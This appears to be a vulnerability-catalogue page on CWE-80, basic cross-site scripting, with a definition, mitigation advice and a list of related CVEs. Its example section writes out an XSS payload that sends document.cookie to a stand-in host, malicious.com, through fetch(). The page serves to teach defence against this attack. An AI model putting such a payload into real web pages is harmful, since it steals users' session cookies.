Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2017-20085LOWAtahualpa Theme cross site scritingEPSS 0.5%CVE-2017-20122LOWBitrix Site Manager Contact Form cross site scriptingEPSS 0.5%CVE-2021-32735HIGHCross-site scripting (XSS) from field and configuration text displayed in the PanelEPSS 0.5%CVE-2017-20098LOWAdmin Custom Login Plugin Persistent cross site scriptingEPSS 0.5%CVE-2026-65841MEDIUMJodit has cross-site scripting (XSS) via <script> nested in SVG that bypasses clean-html sanitizationEPSS 0.5%CVE-2024-8680MEDIUMMailChimp for Wordpress <= 4.9.16 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2025-64764HIGHAstro is vulnerable to Reflected XSS via the server islands featureEPSS 0.5%CVE-2022-38210MEDIUMHTML injection in accountswitcher-callback.html (10.9.1, 10.8.1 and 10.7.1 only)EPSS 0.5%CVE-2023-20181MEDIUMA vulnerability in the web-based management interface of Cisco Small Business SPA500 Series IP Phones could allow an unauthenticated, remoteEPSS 0.5%CVE-2021-37195—A vulnerability has been identified in COMOS V10.2 (All versions only if web components are used), COMOS V10.3 (All versions < V10.3.3.3 onlEPSS 0.5%CVE-2017-20060LOWElefant CMS Blog Post Persistent cross site scritingEPSS 0.5%CVE-2017-20059LOWElefant CMS Title Persistent cross site scritingEPSS 0.5%CVE-2019-13931—A vulnerability has been identified in XHQ (All versions < V6.0.0.2). The web interface could allow for an an attacker to craft the input inEPSS 0.5%CVE-2019-19285—A vulnerability has been identified in XHQ (All Versions < 6.1). The web interface could allow injections that could lead to XSS attacks if EPSS 0.5%CVE-2024-24807LOWSulu is vulnerable to HTML Injection via Autocomplete SuggestionEPSS 0.5%CVE-2023-26047MEDIUMteler-waf contains detection rule bypass via entities payloadEPSS 0.5%CVE-2025-66472MEDIUMXWiki vulnerable to a reflected XSS via xredirect parameter in DeleteApplicationEPSS 0.5%CVE-2025-62198MEDIUMApache Atlas: Stored XSS in Create Entity pageEPSS 0.5%CVE-2022-39372LOWStored Cross-Site Scripting (XSS) in user information in GLPIEPSS 0.5%CVE-2025-21612HIGHCross-site Scripting in TabberTransclude in Extension:TabberNeueEPSS 0.5%